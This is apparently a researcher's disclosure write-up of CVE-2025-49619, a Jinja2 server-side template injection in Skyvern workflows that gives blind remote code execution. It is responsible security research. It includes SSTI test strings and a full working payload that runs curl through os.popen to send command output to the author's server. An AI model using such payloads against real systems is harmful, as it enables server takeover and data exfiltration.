Post

Discovering CVE-2025-49619

CVE-2025-49619 - RCE via SSTI when running Skyvern workflow

Discovering CVE-2025-49619

Hello guys! Today I will make this post about how I discovered my first CVE, more exactly CVE-2025-49619, how to exploit it and mitigations.

CVE-2025-49619 is about how a server-side template injection (SSTI) vulnerability in Skyvern’s workflow edit mode allows authenticated users to inject Jinja2 expressions into the Prompt field of certain blocks (such as Navigation v2). These expressions are rendered unsafely, leading to blind remote code execution (RCE) on the server.

1. Discovery process

I found out about Skyvern during my internship, where we approached the topic of developer workflows automation using AI. Basically, Skyvern is an app that can be ran locally and also using the cloud version. It is also a very good tool for doing workflow automations. It can scrape websites, complete forms, log into sites and other great things that impressed me.

While exploring the application, I had to work with something called Workflow, also mentioned before. A workflow is formed from a set of steps that a user assembles in a very easy manner, for example Go to website -> Get some data -> Parse to JSON format -> Email JSON data. This is basically a 4 step workflow, which I can assemble in Skyvern using some kind of building blocks.

I was working on creating some workflow that extracted some data from an Excel file on the Internet, and then went to a website to complete a form. To do this I needed to chain some components called blocks and one block had to use data from the previous block for its operations.

photo1

This is how the workflow edit mode and blocks look.

In the photo below, where I zoomed in a little, we can see that template expressions can be used.

photo2

During my workflow testing, I didn’t think one second about the possibility of SSTI being there. I went on with my task, I got the workflow working and I was staying in front of the PC thinking ‘What do I do know?’. The day passed and the next day it hit me: “Let’s try some payloads and see if SSTI is triggered”

A classic method to test for SSTI is to use the polyglot payload. Here’s an article to read more about SSTI:

1
${{<%[%'"}}%\.

photo3

2. Exploiting the vulnerability

Before creating a new workflow for faster testing, I wanted to try another payload for additional confirmation.

1
{{ '7' * 7 }}, if executed results in '7777777'

photo4

I ran the workflow and the result was very interesting and properly confirmed SSTI, my input was not sanitized and when parsed by Jinja it executed the expression and returned its result.

photo5

Next step was to run proper code on the underlying system and I was able to do that not only locally, but also on the remote version of Skyvern, which was a real problem.

I tried more payloads with basic Linux commands, like running id or ls, but at that moment I didn’t get the output of the command, meaning there may be blind RCE. So, I tried the reliable HTTP request to my server using curl.

Before that I created a new workflow, added the block which had the option to add a prompt and tried testing different payloads that didn’t show an error. One of the working payloads was found in the article above, it worked very well and I just used it.

1
2
3
4
5
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if 'warning' in x.__name__ %}
    {{ x()._module.__builtins__['__import__']('os').popen("curl http://192.168.100.179:11111/$(id)").read() }} 
  {% endif %}
{% endfor %}

Running the workflow resulted in my server receiving HTTP requests, which showed that code is executed.

photo6

I moved on with testing the application remotely. I did the same tests as on my local version and I succesfully got a shell into the container that the app was running in.

Below are my Youtube videos where I exploit the vulnerability on the remote app:

Skyvern SSTI to blind RCE short PoC

Skyvern SSTI to blind RCE Explanation + PoC

3. Mitigation and other information

Shortly after discovering the vulnerability, I conctacted Skyvern’s owners using Discord and also created a vulnerability report on Github. They responded quickly, understood the extent of the problem and fixed it very fast. Here’s the commit of the fix: https://github.com/Skyvern-AI/skyvern/commit/db856cd8433a204c8b45979c70a4da1e119d949d

1
2
3
4
5
commit 8760b967fdb74d4ee20d07c121a51d40276c13a2
Author: LawyZheng <[email protected]>
Date:   Wed Nov 27 15:19:34 2024 +0800

    use jinja template for workflow parameter (#1272)

We can deduce that the SSTI may have been there for quite some time, but still to say exactly I’m yet to research more, which is actually not the point of this article and is up to the maintainer to figure that out. I was just a simple security researcher in this situation that enjoyed finding this vulnerability.

Overall, we can just say that the vulnerability affected versions <= 0.1.85.

Conclusion

This is a Remote Code Execution (RCE) vulnerability via Server-Side Template Injection (SSTI). Any user who can edit a workflow with prompt-based inputs can execute system commands on the underlying server. If exploited by a malicious tenant or external user, this can lead to full system compromise, data exfiltration, or lateral movement in a multi-tenant setup.

Fortunately, the maintainers worked very well and fast to solve the problem, showing they care about their app and users, thing that can be seen in how impressive their product is. I want to close by saying that I’m very proud this was my first CVE and I was able to contribute to the security of an emerging app with a lot of potential in the future.

Disclosure Timeline

  • Discovery Date: June 2nd 2025
  • Report to vendor data: June 2nd 2025
  • Vulnerability fix: June 3rd 2025
  • Assigned CVE: June 7th 2025

References

This post is licensed under CC BY 4.0 by the author.